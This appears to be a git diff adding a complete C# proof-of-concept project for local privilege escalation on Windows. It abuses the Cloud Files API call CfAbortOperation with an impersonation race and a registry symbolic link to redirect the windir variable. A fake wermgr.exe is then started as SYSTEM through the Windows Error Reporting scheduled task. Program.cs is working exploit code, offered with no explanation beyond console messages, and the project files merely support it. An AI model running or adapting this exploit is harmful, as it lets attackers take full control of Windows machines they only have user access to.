diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd b/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd
new file mode 100644
index 0000000..c0df09d
--- /dev/null
+++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd
@@ -0,0 +1,186 @@
+
+
+
+
+
+
+
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
+
+
+
+
+ A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
+
+
+
+
+ A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
+
+
+
+
+ A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks
+
+
+
+
+ A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks.
+
+
+
+
+ Obsolete, use UnmanagedWinX86Assemblies instead
+
+
+
+
+ A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks.
+
+
+
+
+ Obsolete, use UnmanagedWinX64Assemblies instead.
+
+
+
+
+ A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks.
+
+
+
+
+ A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks.
+
+
+
+
+ The order of preloaded assemblies, delimited with line breaks.
+
+
+
+
+
+ This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
+
+
+
+
+ Controls if .pdbs for reference assemblies are also embedded.
+
+
+
+
+ Controls if runtime assemblies are also embedded.
+
+
+
+
+ Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.
+
+
+
+
+ Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
+
+
+
+
+ As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
+
+
+
+
+ The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events.
+
+
+
+
+ Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
+
+
+
+
+ Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
+
+
+
+
+ A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
+
+
+
+
+ A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
+
+
+
+
+ A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
+
+
+
+
+ A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.
+
+
+
+
+ Obsolete, use UnmanagedWinX86Assemblies instead
+
+
+
+
+ A list of unmanaged X86 (32 bit) assembly names to include, delimited with |.
+
+
+
+
+ Obsolete, use UnmanagedWinX64Assemblies instead
+
+
+
+
+ A list of unmanaged X64 (64 bit) assembly names to include, delimited with |.
+
+
+
+
+ A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |.
+
+
+
+
+ The order of preloaded assemblies, delimited with |.
+
+
+
+
+
+
+
+ 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.
+
+
+
+
+ A comma-separated list of error codes that can be safely ignored in assembly verification.
+
+
+
+
+ 'false' to turn off automatic generation of the XML Schema file.
+
+
+
+
+
\ No newline at end of file
diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj
new file mode 100644
index 0000000..eb8e0af
--- /dev/null
+++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj
@@ -0,0 +1,125 @@
+
+
+
+
+
+ Debug
+ AnyCPU
+ {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}
+ Exe
+ true
+ PoC_AbortHydration_ArbitraryRegKey_EoP
+ PoC_AbortHydration_ArbitraryRegKey_EoP
+ v4.8.1
+ 512
+ true
+ true
+ false
+
+
+
+ publish\
+ true
+ Disk
+ false
+ Foreground
+ 7
+ Days
+ false
+ false
+ true
+ 1
+ 1.0.0.%2a
+ false
+ true
+ true
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+ false
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+ false
+
+
+ 0F28BB121C2D5CEE6A57C741514F51E5F2D9ECAD
+
+
+ PoC_AbortHydration_ArbitraryRegKey_EoP_TemporaryKey.pfx
+
+
+ true
+
+
+ true
+
+
+
+ ..\packages\Costura.Fody.6.2.0\lib\netstandard2.0\Costura.dll
+
+
+ ..\packages\TaskScheduler.2.12.2\lib\net48\Microsoft.Win32.TaskScheduler.dll
+
+
+ ..\packages\NtApiDotNet.1.1.33\lib\net461\NtApiDotNet.dll
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ False
+ Microsoft .NET Framework 4.7.2 %28x86 and x64%29
+ true
+
+
+ False
+ .NET Framework 3.5 SP1
+ false
+
+
+
+
+
+
+ This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user
new file mode 100644
index 0000000..75eb54d
--- /dev/null
+++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user
@@ -0,0 +1,13 @@
+
+
+
+ publish\
+
+
+
+
+
+ en-US
+ false
+
+
\ No newline at end of file
diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs b/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs
new file mode 100644
index 0000000..afe21d1
--- /dev/null
+++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs
@@ -0,0 +1,369 @@
+using Microsoft.Win32;
+using Microsoft.Win32.TaskScheduler;
+using NtApiDotNet;
+using NtApiDotNet.Win32;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.IO.Pipes;
+using System.Runtime.InteropServices;
+using System.Security.AccessControl;
+using System.Security.Cryptography;
+using System.Security.Permissions;
+using System.Threading;
+
+namespace PoC_AbortHydration_ArbitraryRegKey_EoP
+{
+ static class Program
+ {
+ static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access)
+ {
+ Console.WriteLine("Opening for {0}", desired_access);
+ using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root))
+ {
+ using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false))
+ {
+ if (key.IsSuccess)
+ return key.Result.Duplicate();
+ }
+
+ using (var imp = NtThread.Current.ImpersonateAnonymousToken())
+ {
+ return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile);
+ }
+ }
+ }
+
+ static void SetSecurityDescriptor(NtKey key, SecurityInformation info)
+ {
+ var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)");
+ key.SetSecurityDescriptor(sd, info);
+ }
+
+ static void ForceKeyDeleteKey(NtKey root, string name)
+ {
+ Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name);
+ using (var key = OpenKey(root, name, KeyAccessRights.WriteDac))
+ {
+ Console.WriteLine("Opened for WriteDac");
+ SetSecurityDescriptor(key, SecurityInformation.Dacl);
+ }
+
+ using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner))
+ {
+ Console.WriteLine("Opened for WriteOwner");
+ SetSecurityDescriptor(key, SecurityInformation.Label);
+ }
+
+ using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys))
+ {
+ Console.WriteLine("Opened for enumerate.");
+ DeleteRegistryTree(new_key);
+ new_key.Delete();
+ }
+ }
+
+ static void DeleteRegistryTree(NtKey root)
+ {
+ foreach (var name in root.QueryKeys())
+ {
+ ForceKeyDeleteKey(root, name);
+ }
+ }
+
+ [Flags]
+ enum AbortHydrationFlags
+ {
+ None = 0,
+ Unblock = 1,
+ Block = 2,
+ }
+
+ [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
+ static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags);
+
+
+ [StructLayout(LayoutKind.Sequential)]
+ struct CF_PLATFORM_INFO
+ {
+ public int BuildNumber;
+ public int RevisionNumber;
+ public int IntegrationNumber;
+ }
+
+ [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
+ static extern int CfGetPlatformInfo(
+ out CF_PLATFORM_INFO PlatformVersion
+ );
+
+ static void ForceTokenThread(object obj)
+ {
+ try
+ {
+ using (var thread = (NtThread)obj)
+ {
+ Console.WriteLine("In force token thread {0}", thread);
+ using (var token = TokenUtils.GetAnonymousToken())
+ {
+ while (true)
+ {
+ thread.SetImpersonationToken(token);
+ thread.SetImpersonationToken(null);
+ }
+ }
+ }
+ }
+ catch(ThreadAbortException)
+ {
+ return;
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine(ex);
+ }
+ }
+
+ const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft";
+ static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles";
+ static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps";
+ const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment";
+
+ static void CheckKeyThread(object root_key)
+ {
+ string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT";
+ try
+ {
+ using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed))
+ {
+ while (true)
+ {
+ if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR)
+ {
+ Console.WriteLine("Change detected.");
+ Environment.Exit(0);
+ break;
+ }
+ }
+ }
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine(ex);
+ }
+ }
+
+ static int Check(this int hr)
+ {
+ if (hr < 0)
+ Marshal.ThrowExceptionForHR(hr);
+ return hr;
+ }
+
+ const int MAX_STAGE = 4;
+
+ static void Stage0()
+ {
+ for (int i = 1; i < MAX_STAGE; ++i)
+ {
+ Win32ProcessConfig config = new Win32ProcessConfig
+ {
+ CommandLine = $"run {i}",
+ ApplicationName = typeof(Program).Assembly.Location,
+ TerminateOnDispose = true
+ };
+
+ using (var p = Win32Process.CreateProcess(config))
+ {
+ if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS)
+ {
+ throw new ArgumentException($"Failed to run stage {i}");
+ }
+ }
+ }
+ }
+
+ static void Stage1(bool root_key)
+ {
+ Thread check_key_th = new Thread(CheckKeyThread);
+ check_key_th.IsBackground = true;
+ check_key_th.Start(root_key);
+ Thread.Sleep(1000);
+
+ var th = NtThread.OpenCurrent();
+ var anon_thread = new Thread(ForceTokenThread)
+ {
+ IsBackground = true
+ };
+ anon_thread.Start(th);
+
+ while (true)
+ {
+ CfAbortOperation(NtProcess.Current.ProcessId,
+ IntPtr.Zero, AbortHydrationFlags.Block);
+ }
+ }
+
+ static void Stage2()
+ {
+ using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys))
+ {
+ SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
+ DeleteRegistryTree(key);
+ }
+
+ NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY);
+ Stage1(false);
+ }
+
+ static void Stage3()
+ {
+ using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete))
+ {
+ Console.WriteLine("Cleaning up link {0}", key.FullPath);
+ key.Delete();
+ }
+
+ using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner))
+ {
+ SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label);
+ }
+ var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl);
+ foreach(var subkey in key2.GetSubKeyNames())
+ {
+ var fullsubkey = TARGET_KEY + @"\" + subkey;
+ Console.WriteLine("Cleaning up subkey {0}", fullsubkey);
+ NtKey _subkey;
+ try
+ {
+ _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac);
+ }
+ catch (Exception ex)
+ {
+
+ _subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac);
+ }
+ SetSecurityDescriptor(_subkey, SecurityInformation.Dacl);
+ _subkey.Close();
+ _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete);
+ _subkey.Delete();
+ _subkey.Close();
+ }
+
+ key2.Close();
+ using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue))
+ {
+ ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName));
+ }
+
+ string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32";
+ Directory.CreateDirectory(fakesys32);
+ string fakewer = fakesys32 + @"\wermgr.exe";
+ File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true);
+
+ var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe");
+ System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync();
+
+ using (TaskService tasksvc = new TaskService())
+ {
+ Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting");
+ wertask.Run();
+ wertask.Dispose();
+ }
+ if(!pipewait.Wait(2000))
+ {
+ Console.WriteLine("Exploit failed.");
+ }
+ else
+ {
+ Console.WriteLine("Exploit succeeded.");
+ }
+ srvnamedpipe.Dispose();
+ Thread.Sleep(1000);
+ try
+ {
+ File.Delete(fakewer);
+ Directory.Delete(fakesys32);
+ }
+ catch (Exception ex)
+ { }
+ using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete))
+ {
+ ntarget.Delete(false);
+ }
+
+ }
+
+ [DllImport("kernel32.dll", SetLastError = true)]
+ public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId);
+
+ static void Main(string[] args)
+ {
+ bool isSystem;
+ using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent())
+ {
+ isSystem = identity.IsSystem;
+ }
+ if (isSystem)
+ {
+ Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process);
+ var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe");
+ namedpipeclient.Connect();
+ UInt32 nSesID;
+ IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle();
+ if (!GetNamedPipeServerSessionId(hPipe, out nSesID))
+ return;
+ namedpipeclient.Dispose();
+ NtToken token = NtToken.OpenEffectiveToken();
+ NtToken token2 = token.DuplicateToken();
+ token.Dispose();
+ token = token2;
+ token.SetSessionId(((int)nSesID));
+ Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null);
+ return;
+
+ }
+
+
+ try
+ {
+ CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check();
+
+ if (args.Length <= 1)
+ {
+ int stage = args.Length > 0 ? int.Parse(args[0]) : 0;
+ switch (stage)
+ {
+ case 0:
+ Stage0();
+ break;
+ case 1:
+ Stage1(true);
+ break;
+ case 2:
+ Stage2();
+ break;
+ case 3:
+ Stage3();
+ break;
+ default:
+ throw new ArgumentException("Erm?");
+ }
+ }
+ else
+ {
+ using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null))
+ {
+ using (var imp = token.Impersonate())
+ {
+ CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check();
+ }
+ }
+ }
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine(ex);
+ }
+ }
+ }
+}
diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config b/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config
new file mode 100644
index 0000000..e7e6172
--- /dev/null
+++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
\ No newline at end of file